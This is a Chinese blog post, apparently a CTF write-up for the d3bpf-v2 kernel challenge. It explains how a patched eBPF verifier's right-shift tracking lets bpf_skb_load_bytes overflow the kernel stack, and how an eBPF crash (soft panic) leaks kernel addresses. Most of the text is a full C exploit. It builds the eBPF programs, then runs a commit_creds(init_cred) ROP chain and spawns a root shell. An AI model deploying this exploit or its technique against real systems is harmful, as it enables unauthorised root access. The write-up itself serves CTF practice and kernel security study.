d3bpf-v2
196082 慢慢好起来

因为近期一直在玩内核,在把这篇文章写完之后就不会一直更新内核相关的了,后续的打算是学习完逃逸的内容之后就开始进行刷题和复现比赛的练习了。

分析题目

首先,这道题的大致跟上一道题目一样,存在一个patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 40d92628e..be9cdde7a 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -8100,11 +8100,11 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
scalar_min_max_lsh(dst_reg, &src_reg);
break;
case BPF_RSH:
- if (umax_val >= insn_bitness) {
- /* Shifts greater than 31 or 63 are undefined.
- * This includes shifts by a negative number.
- */
- mark_reg_unknown(env, regs, insn->dst_reg);
+ if (umin_val >= insn_bitness) {
+ if (alu32)
+ __mark_reg32_known(dst_reg, 0);
+ else
+ __mark_reg_known_zero(dst_reg);
break;
}
if (alu32)

可以看出来这里的patch跟前面一道题一样,在RSH中设置了超过指定大小的数时会设置为known的0。

不同的是这里题目使用的内核版本是5.16.12+,而在新版本的内核中存在新的检测机制:

  • 任何指针只能进行加减操作,不能进行比较(防止侧信道)
  • 在进行指针与寄存器操作时,verfier会将已知的寄存器替换为常数进行计算。

所以这也就造成了前面的攻击手法无效了。

利用分析

这里出现了一个新的函数bpf_skb_load_bytes可以进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BPF_CALL_4(bpf_skb_load_bytes, const struct sk_buff *, skb, u32, offset,
void *, to, u32, len)
{
void *ptr;

if (unlikely(offset > 0xffff))
goto err_clear;

ptr = skb_header_pointer(skb, offset, len, to);
if (unlikely(!ptr))
goto err_clear;
if (ptr != to)
memcpy(to, ptr, len);

return 0;
err_clear:
memset(to, 0, len);
return -EFAULT;
}

这个函数的作用是读取socket缓冲区到指定的位置,在ebpf程序中可以是栈或者map。

然而因为patch的缘故我们可以很轻松的实现栈溢出。

泄漏地址

这里leak的方法延用作者的方法。

在新版本内核中ebpf程序crash并不会造成内核的崩溃,当/proc/sys/kernel/panic_on_oops 值为 0 时 soft panic 并不会直接 panic。似乎在默认情况下其值就是 0,如 Ubuntu20.04。而在kernel pwn题目中想出现上述情况的方法是在qemu启动项中添加 oops = panic。而在发生soft panic时会打印出来内核地址。所以这里选择这样使用,使ebpf程序出现crash紧接着就会打印出地址即可。

提权

这里因为可以很简单的进行栈溢出所以就不多赘述了。所以直接给出exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
#define _GNU_SOURCE
#include <err.h>
#include <inttypes.h>
#include <sched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <time.h>
#include <linux/bpf_common.h>
#include <sys/types.h>
#include <linux/bpf.h>

#ifndef _BPF_DEFS_H_
#define _BPF_DEFS_H_

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn){ \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM})

#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn){ \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32)(IMM)}), \
((struct bpf_insn){ \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64)(IMM)) >> 32})

/* Memory load, dst_reg = *(uint *) (src_reg + off16) */

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn){ \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0})

/* Memory store, *(uint *) (dst_reg + off16) = src_reg */

#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn){ \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0})

/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */

#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn){ \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM})

/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn){ \
.code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM})

/* Short form of mov, dst_reg = imm32 */

#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM})

#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn){ \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM})

/* Short form of mov, dst_reg = src_reg */

#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0})

#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn){ \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0})

/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */

#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM})

/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */

#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0})

/* Program exit */

#define BPF_EXIT_INSN() \
((struct bpf_insn){ \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0})

/* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)

/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

// varies from userspace bpf_map_info definition so need to redefine
struct bpf_map_info_kernel
{
__u32 type;
__u32 id;
__u32 key_size;
__u32 value_size;
__u32 max_entries;
__u32 map_flags;
char name[BPF_OBJ_NAME_LEN];
__u32 ifindex;
__u32 btf_vmlinux_value_type_id;
__u64 netns_dev;
__u64 netns_ino;
__u32 btf_id;
__u32 btf_key_type_id;
__u32 btf_value_type_id;
} __attribute__((aligned(8)));

#endif

int bpf(int cmd, union bpf_attr *attrs)
{
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int create_map(union bpf_attr *map_attrs)
{
return bpf(BPF_MAP_CREATE, map_attrs);
}

int update_map_element(int fd, uint64_t key, void *value, uint64_t flags)
{
union bpf_attr attr = {};
attr.map_fd = fd;
attr.key = (uint64_t)&key;
attr.value = (uint64_t)value;
attr.flags = flags;
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

int lookup_map_element(int fd, uint64_t key, void *value)
{
union bpf_attr attr = {};
attr.map_fd = fd;
attr.key = (uint64_t)&key;
attr.value = (uint64_t)value;
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

int obj_get_info_by_fd(union bpf_attr *attrs)
{
return bpf(BPF_OBJ_GET_INFO_BY_FD, attrs);
}

int map_get_next_key(union bpf_attr *attrs)
{
return bpf(BPF_MAP_GET_NEXT_KEY, attrs);
}

int run_bpf_prog(struct bpf_insn *insn, uint32_t cnt, int *prog_fd_out, char *write_buf, size_t write_nbytes)
{
int ret = -1;
int prog_fd = -1;
char verifier_log_buff[0x200000] = {0};
int socks[2] = {0};
union bpf_attr prog_attrs =
{
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = cnt,
.insns = (uint64_t)insn,
.license = (uint64_t) "",
.log_level = 2,
.log_size = sizeof(verifier_log_buff),
.log_buf = (uint64_t)verifier_log_buff};

if (NULL != prog_fd_out)
{
prog_fd = *prog_fd_out;
}

if (0 >= prog_fd)
{
prog_fd = bpf(BPF_PROG_LOAD, &prog_attrs);
}

if (0 > prog_fd)
{
puts(verifier_log_buff);
goto done;
}

if (0 != socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
{
goto done;
}

if (0 != setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(int)))
{
goto done;
}

if (write_nbytes != write(socks[1], write_buf, write_nbytes))
{
printf("[!] write not so good\n");
goto done;
}

if (NULL != prog_fd_out)
{
*prog_fd_out = prog_fd;
}

else
{
close(prog_fd);
}

ret = 0;

done:
close(socks[0]);
close(socks[1]);
return ret;
}

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

void err_exit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

void get_shell()
{
if (getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

#define EXP_REG BPF_REG_8

#define attack() \
BPF_MOV64_IMM(BPF_REG_9, 64), \
BPF_MOV64_IMM(EXP_REG, 1), \
BPF_ALU64_REG(BPF_RSH, EXP_REG, BPF_REG_9), \
BPF_MOV64_REG(BPF_REG_0, EXP_REG)

int main(int argc, char *argv[])
{
if (argc == 1)
{
struct bpf_insn leak_insn[] = {
attack(),
BPF_ALU64_IMM(BPF_MUL, EXP_REG, (16 - 8)),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -8),
BPF_MOV64_IMM(BPF_REG_4, 8),
BPF_ALU64_REG(BPF_ADD, BPF_REG_4, EXP_REG),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),
BPF_EXIT_INSN()};
char buf[0x100];
memset(buf, 0xFF, sizeof(buf));
if (0 != run_bpf_prog(leak_insn, sizeof(leak_insn) / sizeof(struct bpf_insn), NULL, buf, 0x100))
{
err_exit("[-] Failed to run bpf program\n");
}
}
if (argc == 2)
{
save_status();
signal(SIGSEGV, &get_shell);
unsigned long kernel_offset = strtoul(argv[1], NULL, 16);
printf("[+] kernel offset: %p\n", kernel_offset);
unsigned long commit_creds = kernel_offset + 0xffffffff810d7210;
unsigned long init_cred = kernel_offset + 0xffffffff82e6e860;
unsigned long pop_rdi_ret = kernel_offset + 0xffffffff81097050;
unsigned long swapgs_restore_regs_and_return_to_usermode = kernel_offset + 0xffffffff81e0100b;
unsigned long rop_chain[0x100];
int i = 0;
rop_chain[i++] = 0xDEADBEEF;
rop_chain[i++] = 0xDEADBEEF;
rop_chain[i++] = pop_rdi_ret;
rop_chain[i++] = init_cred;
rop_chain[i++] = commit_creds;
rop_chain[i++] = swapgs_restore_regs_and_return_to_usermode;
rop_chain[i++] = 0;
rop_chain[i++] = 0;
rop_chain[i++] = &get_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
struct bpf_insn attack_insn[] = {
attack(),
BPF_ALU64_IMM(BPF_MUL, EXP_REG, (0x100 - 8)),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -8),
BPF_MOV64_IMM(BPF_REG_4, 8),
BPF_ALU64_REG(BPF_ADD, BPF_REG_4, EXP_REG),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),
BPF_EXIT_INSN()};
if (0 != run_bpf_prog(attack_insn, sizeof(attack_insn) / sizeof(struct bpf_insn), NULL, rop_chain, 0x100))
{
err_exit("[-] Failed to run bpf program\n");
}
}
}

image-20230111180153062

首先运行exp触发soft panic可以看到在其中存在酷似kernel代码段的地址信息,所以我们可以通过计算得到kernel_offset

image-20230111180450710

image-20230111180529651

最后成功提权。


题目放在:https://github.com/196082/196082/blob/main/kernel_pwn/d3bpf-v2.zip

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量